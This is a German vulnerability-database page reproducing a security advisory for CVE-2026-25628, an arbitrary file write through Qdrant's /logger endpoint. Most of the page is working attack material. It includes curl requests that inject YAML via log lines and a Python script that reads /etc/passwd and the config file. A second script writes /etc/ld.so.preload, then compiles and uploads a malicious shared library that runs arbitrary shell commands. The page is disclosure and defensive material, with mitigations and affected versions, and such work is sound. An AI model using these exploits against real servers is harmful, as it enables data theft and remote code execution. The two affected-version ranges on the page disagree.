NetSight
hoch8.5

CVE-2026-25628

qdrant has arbitrary file write via `/logger` endpoint

Auswirkung

### Summary It is possible to append to arbitrary files via /logger endpoint. Minimal privileges are required (read-only access). Tested on Qdrant 1.15.5 ### Details `POST /logger` ([Source code link](https://github.com/qdrant/qdrant/blob/48203e414e4e7f639a6d394fb6e4df695f808e51/src/actix/api/service_api.rs#L195)) endpoint accepts an attacker-controlled `on_disk.log_file` path. There are no authorization checks (but authentication check is present). This can be exploited in the following way: if configuration directory is writable and `config/local.yaml` does not exist, set log path to `config/local.yaml` and send a request with a log injection payload. The`PATCH /collections` endpoint was used with an invalid collection name to inject valid yaml. After running the PoC, the content of `config/local.yaml` will be: ```yaml 2025-11-11T23:52:22.054804Z INFO actix_web::middleware::logger: 172.18.0.1 "POST /logger HTTP/1.1" 200 57 "-" "python-requests/2.32.5" 0.009422 2025-11-11T23:52:22.056962Z INFO storage::content_manager::toc::collection_meta_ops: Updating collection hui service: static_content_dir: .. 2025-11-11T23:52:22.057530Z INFO actix_web::middleware::logger: 172.18.0.1 "PATCH /collections/hui%0Aservice:%0A%20%20static_content_dir:%20..%0A HTTP/1.1" 404 113 "-" "python-requests/2.32.5" 0.001391 ``` Some junk log lines are present, but they don't matter as this is still valid yaml. After that, if qdrant is restarted (via legitimate means or by a OOM/crash), then `local.yaml` config will have higher priority and `service.static_content_dir` will be set to `..`. In a container environment, this allows one to read all files via the web UI path. Also overriding config file may let the attacker raise its privileges with a custom master key (remember that lowest privileges are required to access the vulnerable endpoint). Relevant requests: 1. Enable on-disk logging to the config file: ```bash curl -sS -X POST "http://localhost:6333/logger" \ -H "Content-Type: application/json" \ -d '{ "log_level":"INFO", "on_disk":{ "enabled":true, "format":"text", "log_level":"INFO", "buffer_size_bytes":1, "log_file":"config/local.yaml" } }' ``` 2. Inject YAML via a request that logs newlines (URL-encoded): ```bash curl -sS -X PATCH "http://localhost:6333/collections/hui%0aservice:%0a%20%20static_content_dir:%20..%0a" \ -H "Content-Type: application/json" \ -d '{}' ``` ### Full reproduction instructions 1. Start Qdrant with a writable configuration directory: ```sh sudo docker run -p 6333:6333 --name qdrant-poc -d qdrant/qdrant:v1.15.5 ``` 2. Run the exploit: ```sh % python3 exploit.py --url http://localhost:6333 [+] Logger configured [+] Log injection successful [+] Logger disabled Restart Qdrant cluster and press Enter to continue... ``` 3. Restart the container: ```sh sudo docker restart qdrant-poc ``` 4. Resume the exploit: ```sh <press Enter> [+] Passwd file retrieved -------------------------------- ... -------------------------------- [+] Config file retrieved -------------------------------- ... ``` ## Mitigation 1. Limit usage of `/logger` endpoint to users with management privileges only (or better disable it completely). 2. Restrict the path of the log file to a dedicated logs directory. This vulnerability does not affect Qdrant cloud as the configuration directory is not writable. ## Exploit code ### `exploit_privesc.py` ```python import requests import sys import argparse parser = argparse.ArgumentParser(description="Exploit script for posting to Qdrant API") parser.add_argument("--url", required=False, help="Target URL for API", default="http://localhost:6333") parser.add_argument("--api-key", required=False, help="API key") args = parser.parse_args() url = args.url headers = {} if args.api_key: headers["api-key"] = args.api_key s = requests.Session() s.headers.update(headers) res = s.post( f"{url}/logger", json={ "log_level": "INFO", "on_disk": { "enabled": True, "format": "text", "log_level": "INFO", "buffer_size_bytes": 1, "log_file": "config/local.yaml", }, }, ) res.raise_for_status() print("[+] Logger configured") res = s.patch( f"{url}/collections/%0aservice:%0a%20%20static_content_dir:%20..%0a", json={}, ) error = res.json()["status"]["error"] if "doesn't exist!" in error: print("[+] Log injection successful") else: print(f"[-] Error: {error}") sys.exit(1) res = s.post( f"{url}/logger", json={ "on_disk": { "enabled": False, }, }, ) res.raise_for_status() print("[+] Logger disabled") input("Restart Qdrant cluster and press Enter to continue...") res = s.get(f"{url}/dashboard/etc/passwd") res.raise_for_status() print("[+] Passwd file retrieved") print("--------------------------------") print(res.text) print("--------------------------------") res = s.get(f"{url}/dashboard/qdrant/config/config.yaml") res.raise_for_status() print("[+] Config file retrieved") print("--------------------------------") print(res.text) print("--------------------------------") ``` ## `exploit_rce.py` ```python import requests import argparse import tempfile import os TEST_COLLECTION_NAME = "COLTEST" parser = argparse.ArgumentParser(description="Exploit script for posting to Qdrant API") parser.add_argument("--url", required=False, help="Target URL for API", default="http://localhost:6333") parser.add_argument("--api-key", required=False, help="API key") parser.add_argument("--cmd", default="touch /tmp/touched_by_rce") parser.add_argument("--lib", default="") args = parser.parse_args() assert "'" not in args.cmd, "Command must not contain single quotes" so_code = """ #include <stdlib.h> #include <unistd.h> __attribute__((constructor)) void init() { unlink("/etc/ld.so.preload"); system("/bin/bash -c 'XXXXXXXX'"); } """.replace('XXXXXXXX', args.cmd) with tempfile.TemporaryDirectory() as tmpdir: with open(f"{tmpdir}/cmd_code.c", "w") as f: f.write(so_code) os.system(f'gcc -shared -fPIC -o {tmpdir}/cmd.so {tmpdir}/cmd_code.c') cmd_so = open(f'{tmpdir}/cmd.so', "rb").read() url = args.url headers = {} if args.api_key: headers["api-key"] = args.api_key s = requests.Session() s.headers.update(headers) res = s.post( f"{url}/logger", json={ "log_level": "INFO", "on_disk": { "enabled": True, "format": "text", "log_level": "INFO", "buffer_size_bytes": 1, "log_file": "/etc/ld.so.preload", }, }, ) res.raise_for_status() print("[+] Logger configured") res = s.get( f"{url}/:/qdrant/snapshots/{TEST_COLLECTION_NAME}/hui.so", ) print("[+] Log injected") res = s.post( f"{url}/logger", json={ "on_disk": { "enabled": False, }, }, ) res.raise_for_status() print("[+] Logger disabled") rsp = s.post(f"{args.url}/collections/{TEST_COLLECTION_NAME}/snapshots/upload", files={"snapshot": ("hui.so", cmd_so, "application/octet-stream")}) print(rsp.text) # trigger the stacktace endpoint which will run execute `/qdrant/qdrant --stacktrace` input("Press Enter to continue...") rsp = s.get(f"{args.url}/stacktrace") rsp.raise_for_status() ``` ### Impact Remote code execution.

Ein Angreifer kann die Lücke über das Netzwerk ausnutzen, mit einem normalen Benutzerkonto, ohne Zutun eines Nutzers. Dafür müssen bestimmte Bedingungen erfüllt sein, was einen Angriff erschwert. Bei Erfolg: hohes Risiko, dass Daten ausgelesen werden, hohes Risiko, dass Daten oder Systeme verändert werden, hohes Risiko für Ausfälle. Der Angriff kann über die verwundbare Komponente hinaus wirken.

Betroffene Pakete

ÖkosystemPaketBetroffenBehoben in
rustqdrant>= 1.9.3, < 1.15.61.15.6

Betroffene Produkte · Qdrant

ProduktBetroffene Versionen
Qdrant
ab 1.9.3 bis einschließlich 1.16.0

Schwachstellenklasse

Referenzen